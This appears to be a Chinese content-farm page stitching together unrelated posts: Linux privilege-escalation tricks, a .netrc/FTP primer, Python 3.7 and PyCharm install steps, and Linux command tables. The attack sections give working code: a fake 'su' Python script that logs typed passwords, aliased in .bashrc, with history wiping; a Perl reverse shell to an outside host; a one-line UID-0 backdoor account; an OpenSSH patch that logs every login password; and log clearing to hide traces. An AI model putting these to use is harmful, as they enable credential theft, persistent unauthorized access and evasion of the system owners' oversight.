如果您想了解【python小工具】linux低权限密码记录提权小套路和linux用户提权的知识,那么本篇文章将是您的不二之选。我们将深入剖析【python小工具】linux低权限密码记录提权小套路的各
如果您想了解【python小工具】linux 低权限密码记录 提权小套路和linux 用户提权的知识,那么本篇文章将是您的不二之选。我们将深入剖析【python小工具】linux 低权限密码记录 提权小套路的各个方面,并为您解答linux 用户提权的疑在这篇文章中,我们将为您介绍【python小工具】linux 低权限密码记录 提权小套路的相关知识,同时也会详细的解释linux 用户提权的运用方法,并给出实际的案例分析,希望能帮助到您!
本文目录一览:- 【python小工具】linux 低权限密码记录 提权小套路(linux 用户提权)
- linux 密码记录文件 .netrc 简介
- LINUX下安装Python3.7、Pycharm[Linux命令记录]
- Linux下安装python3.7【python】
- Linux低权限用户记录ssh密码
【python小工具】linux 低权限密码记录 提权小套路(linux 用户提权)
#!/usr/bin/python
import os, sys, getpass, time
current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log"
fail_str = "su: incorrect password"
try:
passwd = getpass.getpass(prompt=''Password: '');
file=open(logfile,''a'')
file.writelines("\n"+" [%s]t:%s "%(passwd, current_time)+"\n")
file.close()
except:
pass
time.sleep(1)
print (fail_str)
linux命令
echo "alias su=''python3 文件路径''" >> .bashrc
#python 用的是2.7 ;python3 用的python3.4,;具体看你配置
#在bash永远保存,防止重启丢失
source .bashrc
#生效bash
关于清history
echo > .bash_history
history -c
history -r
#清空history缓存
#删除
#同步
#不推荐,推荐vi修改.bash_history文件,然后 history -r
后续改下py文件
linux 密码记录文件 .netrc 简介
一、设置.netrc文件
在当前用户的主目录创建一个.netrc文件,权限设置600
文件内容是:
machine 192.168.0.1 login ftpuser password ftpuser_password
说明:这样你每次登录192.168.0.1的时候,系统会自动登录,实现自动ftp。
举例:
每天8点到192.168.0.1上获取/test目录中的test.txt,可以创建一个命令行文件(ftp_cmd)。
内容如下:
cd test
get test.txt
bye
然后设置定时任务:
0 8 * * * ftp 192.168.0.1 < ftp_cmd
二、FTP常用命令
1、default login password
如果需要频繁登录ftp,省去输入账号密码的繁琐流程。
2、binary
二进制文件需要使用二进制文件传输方式,如果使用ascii方式传输的文件则不可用。
3、runique
防止同名文件被覆盖的问题。
4、prompt off
使用ftp时,会用到mget或其它需要确认的ftp命令,将此确认过程取消,可大大方便使用者。
5、hash on
文件传输每传送1KB,在屏幕上显示一个#号,关注传输快慢。
6、idle 7200
避免线路拥塞导致ftp掉线,需要将idle参数设置最大7200秒
7、macdef
macdef定义一个宏,macro_name为宏定义的名称。在macdef行下,可输入任何有效的ftp命令,并以空行结束宏定义,执行时只需在宏名前加"$"号即可。如果宏名定义为init,则该宏命令在启动ftp后自动加以执行,无需用户输入$ macro_name。
三、netrc的使用举例
1.用vi编辑器先编辑一个如下的文件:
default login anonymous password 123456
macdef init
binary .
runique .
hash on .
prompt off
idle 7200
(空行)
第1行意为缺省情况下,进入anonymous帐户,并以自己的电子邮件地址为口令;
第2行至第8行定义了宏init,该宏中的所有5条命令将在进入ftp环境后立刻执行,
第8行(空行)不可省略,否则为无效宏定义。
2.利用.netrc可将用户所需操作大大简化,极大地提高工作效率。
如利用archie命令查找到文件xplaygizmo-1.0.gz在匿名ftp主机上unsite.unc.e-du的/pub/packages/solaris/freeware目录下,
用户欲将该文件用ftp下载,只需用vi编辑器将archie的查找结果插入到.netrc文件空行之上,即增加下列三行:
cd /pub/packages/solaris/freeware
get xplaygizmo-1.0.gz
bye
(空行)
运行ftp sunsite.unc.edu,即自动完成上述.netrc 中的所有操作,无需任何人工干预。屏幕将显示类似于下面的结果:
Connected to sunsite.unc.edu.
220 calzone FTP server(Version wu-2.4(3Wed 0ct 2 09:30:40 EDT 1996)ready
331 Guest login ok,send your complete e-mail address as password.
230.............
230 Guest login ok,access resrictions apply.
200 Type set to I.
Receive unique on.
Hash mark printing on (1024 bytes/hash mark).
Interactive mode off.
200 Maximum IDLE time set to 7200 seconds
cd/pub/packages/solaris/freeware
250 CWD command successful.
get xplaygizmo-1.0.gz
200 PORT command successful.
150 opening BINARY mode data connection for xplaygizmo-1.0.gz(8753 bytes). ########
226 Transfer complete.
8753 bytes received in 50.8 secs(0.17 Kbytes/sec)
221 Goodbye.
注意:默认时,运行ftp命令将检测用户的HOME目录中的.netrc文件,并自动加以执行,如果不想使用.netrc,可在ftp命令行中使用-n参数加以取消。
LINUX下安装Python3.7、Pycharm[Linux命令记录]
环境
阿里云CenterOs7.4 64位 + Python3.7.0 + pycharm-professional-2018.3
安装Python
1. 安装依赖包
sudo yum -y groupinstall "Development tools"
sudo yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel
2. 下载安装包:压缩包链接可自行选择(官网复制)
wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz
3. 配置
// 解压xz属性的文件
tar xJf Python-3.7.0.tar.xz
// 进入目录
cd Python-3.7.0
4. 编译安装
// 准备编译
sudo ./configure
// 编译
sudo make
// 安装
sudo make install
5. 安装pip
//下载文件
wget https://bootstrap.pypa.io/get-pip.py --no-check-certificate
//执行安装
python get-pip.py
6. 创建软连接(阿里云自带Python2,为了将Python命令修改为Python3执行)
ln -s /usr/local/bin/python3/bin/python3 /usr/bin/python3
ln -s /usr/local/bin/python3/bin/pip3 /usr/bin/pip3
安装图形界面
// 安装GNOME桌面环境,较大需等待
yum groupinstall -y "GNOME Desktop"
// 修改开机默认运行方式为图形方式(centerOS7)
systemctl set-default graphical.target
// 重启
reboot
安装pycharm(专业版仅30天体验,按需选择[专业版、社区版])
// 下载
wget https://download.jetbrains.com/python/pycharm-professional-2018.3.tar.gz
// 找到安装包
ls pycharm-professional-2018.3.tar.gz
// 解压
tar -xvzf pycharm-professional-2018.3.tar.gz
// 找到解压路径
ls pycharm-professional-2018.3
// 进入
cd pycharm-professional-2018.3/bin
// 打开
sh pycharm.sh
打开一次配置好后,后续可在桌面应用处直接打开...
LINUX命令学习笔记
常用的RPM软件包命令
安装软件的命令格式 | rpm -ivh filename.rpm |
---|---|
升级软件的命令格式 | rpm -Uvh filename.rpm |
卸载软件的命令格式 | rpm -e filename.rpm |
查询软件描述信息的命令格式 | rpm -qpi filename.rpm |
列出软件文件信息的命令格式 | rpm -qpl filename.rpm |
查询文件属于哪个RPM的命令格式 | rpm -qf filename |
常用yum命令
命令 | 作用 |
---|---|
yum repolist all | 列出所有仓库 |
yum list all | 列出仓库中所有软件包 |
yum info 软件包名称 | 查看软件包信息 |
yum install软件包名称 | 安装软件包 |
yum reinstall软件包名称 | 重新安装软件包 |
yum update软件包名称 | 升级软件包 |
yum remove软件包名称 | 移除软件包 |
yum clean all | 清楚所有仓库缓存 |
yum check-update | 检查可更新的软件包 |
yum grouplist | 检查系统中已安装的软件包组 |
yum groupinstall软件包组 | 安装指定的软件包组 |
yum groupremove软件包组 | 移除指定的软件包组 |
yum groupinfo软件包组 | 查询指定的软件包组信息 |
基本命令
命令 | 作用 |
---|---|
#date | 日期时间 |
#date "+%Y-%m-%d %H:%M:%S" | 带格式日期 |
#reboot | 重启系统(admin权限) |
#powderoff | 关闭系统(admin权限) |
#wget命令 | 终端下载网络文件 |
#ps | 查看系统中进程状态 |
#top | 动态监视进程活动与系统负载等信息 |
#pidof | 查看某个进程服务的PID值 |
#kill | 用来终止某个指定PID值服务进程 |
#killall | 终止某个指定名称服务的所有进程 |
系统状态检测命令
参数 | 作用 |
---|---|
#ifconfig | 获取网卡配置与网络状态等信息 |
#uname -a、cat /etc/redhat-release | 获取系统内核与系统版本信息 |
#uptime | 查看系统负载信息 |
#free -h | 显示系统中内存使用量 |
#who | 查看当前登入主机的用户终端信息 |
#last | 查看当前所有系统登录记录 |
#history[c] | 显示历史执行过的命令 |
#sosreport | 收集系统配置及架构信息输出诊断文档,格式为sosreport |
#pwd | 显示当前工作目录 |
#cd[-]上一次所在目录[..]上级目录[~]当前用户家目录[路径]指定目录 | 切换用户当前工作目录 |
#ls[选项][文件] | 显示当前目录中的文件信息 |
#cat [-n显示行号] | 查看纯文本文件[内容较少的] |
#more | 查看文本文件[内容较大的] |
#head[-n 20] | 用于查看纯文本文件前N行 |
#tail[-n 20] | 用于查看纯文本文件后N行以及持续刷新内容,tail -f 日志文件 |
#tr[原始字符][目标字符] | 用于替换文本文件的字符 |
#wc | 统计指定文本的行数[l]、字数[w]、字节数[c] |
#start | 查看文件具体存储信息和时间,格式:start 文件 |
#cut | 按列提取文本字符,cut[参数] 文本 |
#diff | 比较多个文本文件的差异 |
wget命令以及参数
参数 | 作用 |
---|---|
-b | 后台下载模式 |
-P | 下载到指定目录 |
-t | 最大尝试次数 |
-c | 断点续传 |
-p | 下载页面所有资源,包括图片和视频等 |
-r | 递归下载 |
ps命令
参数 | 作用 |
---|---|
-a | 显示所有进程(包括其他用户) |
-u | 用户以及其他详细信息 |
-x | 显示没有控制终端的进程 |
五种常见进程状态:
- R(运行):进程运行或在队列中等待
- S(中断):进程处于休眠中,当某个条件形成后或者接收到信息时,则脱离该状态
- D(不可中断):进程不响应系统异步信号,使用KILL命令也无法中断。
- Z(僵死):进程已经终止,但描述符依然存在,直到父进程使用wait4()函数将进程释放。
- T(停止):进程收到停止信号后停止运行
文件目录管理命令
- touch命令:创建空白文件或设置文件的时间,格式:touch[选项][文件]
参数 | 作用 |
---|---|
-a | 仅修改读取时间(atime) |
-m | 仅修改“修改时间”(mtime) |
-d | 全部进行修改(atime mtime) |
- mkdir:创建空白目录,mkdir[选项][目录],还可使用-p递归创建嵌套叠层关系的文件夹
- cp : 复制文件或目录
参数 | 作用 |
---|---|
-p | 保留原始文件的属性 |
-d | 若对象是链接文件,则保留链接文件的属性 |
-r | 递归持续复制(用于目录) |
-i | 若目标文件存在则询问是否覆盖 |
-a | 相当于-pdr(上述参数) |
- mv : 剪切文件或文件重命名
- rm : 删除文件或目录
- dd : 按照指定大小和个数的数据块来复制文件或转换文件
参数 | 作用 |
---|---|
if | 输入文件名称 |
of | 输出文件名称 |
bs | 每个块的大小 |
count | 要复制块的个数 |
- file: 查看文件类型
打包压缩和搜索命令
- tar命令:用于对文件进行打包压缩和解压,主要格式(.tar,.tar.gz,tar.bz2)
参数 | 作用 |
---|---|
-c | 创建压缩文件 |
-x | 打开压缩文件 |
-t | 查看压缩包内有哪些文件 |
-z | 使用Gzip压缩或解压 |
-j | 使用bzip2压缩或解压 |
-v | 显示压缩或解压过程 |
-f | 目标文件名 |
-p | 保留原始的权限和属性 |
-P | 使用绝对路径来压缩 |
-C | 指定解压到的目录 |
压缩:tar -czvf 压缩包名.tar.gz
解压:tar -xzvf 压缩包名.tar.gz
- grep:在文本中执行关键词搜索,显示匹配结果,格式:grep[选项][文件]
参数 | 作用 |
---|---|
-b | 将可执行文件(binary)当作文本文件(text)来搜索 |
-c | 仅显示找到的行数 |
-i | 忽略大小写 |
-n | 显示行号 |
-v | 反向选择,列出没有关键词的行 |
- find:按指定条件查找文件
参数 | 作用 |
---|---|
-name | 匹配名称 |
-perm | 匹配权限(mode为完全匹配,-mode为包含即可) |
-user | 匹配所有者 |
-group | 匹配所有组 |
-mtime -n +n | 匹配修改内容的时间(-n:n天内,+n:n天前) |
-atime -n +n | 匹配访问文件的时间(-n:n天内,+n:n天前) |
-ctime -n +n | 匹配修改文件权限的时间(-n:n天内,+n:n天前) |
-nouser | 匹配无所有者的文件 |
-nogroup | 匹配无所有组的文件 |
-newer f1 !f2 | 匹配比f1新比f2旧的文件 |
--type b/d/c/p/l/f | 匹配文件类型(字母以此表示块设备、目录、字符设备、管道、链接文件、文本文件) |
-size | 匹配文件大小 |
-prune | 忽略某个目录 |
-exec ...{}; | 后面可跟用于进一步处理文件搜索结果的命令 |
总结
Linux系统适合作服务器,但安装图形界面实有不妥,比起windows占用的空间还是算小的了。输入命令操作系统时着实让人有种装X的感觉,为了增强这种感觉,我们需要熟记这些命令。
由于笔记用有道云得markdown记录,直接复制过来有些文字显得较小。
Linux下安装python3.7【python】
1.原文地址
https://www.cnblogs.com/yhongji/p/9383857.html
2.python软件包
https://www.python.org/ftp/python/
Linux低权限用户记录ssh密码
0x01 场景
现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始
0x02 过程
反弹shell
linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp。
自己外网服务器 nc -l -vv -p 1234 ,监听1234端口
webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码
Perl
use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=1234; //反向连接端口
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};
在/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c
赋予 root.out 执行权限, chmod +x root.out
用反弹shell执行exp,完成后查看当前权限 ./root.out
重新编译ssh
第一步顺利的话就可以直接一句话加一个自己的账户了
Bash
useradd -p `openssl passwd -1 -salt ''xxx'' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo //一句添加账户密码luo:luo
ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。
备份原来的ssh,mv /etc/ssh /etc/ssh_bak
下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用
wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz
tar -zxvf openssh-6.6p1.tar.gz 解压后进入解压出的目录
vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句
logit("username: %s password: %s", authctxt->user, password);
保存之后
./configure --sysconfdir=/etc/ssh --without-zlib-version-check --with-md5-passwords
make
make install
重启ssh服务
service ssh restart
接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。
注意事项
渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。
我们今天的关于【python小工具】linux 低权限密码记录 提权小套路和linux 用户提权的分享已经告一段落,感谢您的关注,如果您想了解更多关于linux 密码记录文件 .netrc 简介、LINUX下安装Python3.7、Pycharm[Linux命令记录]、Linux下安装python3.7【python】、Linux低权限用户记录ssh密码的相关信息,请在本站查询。
本文标签: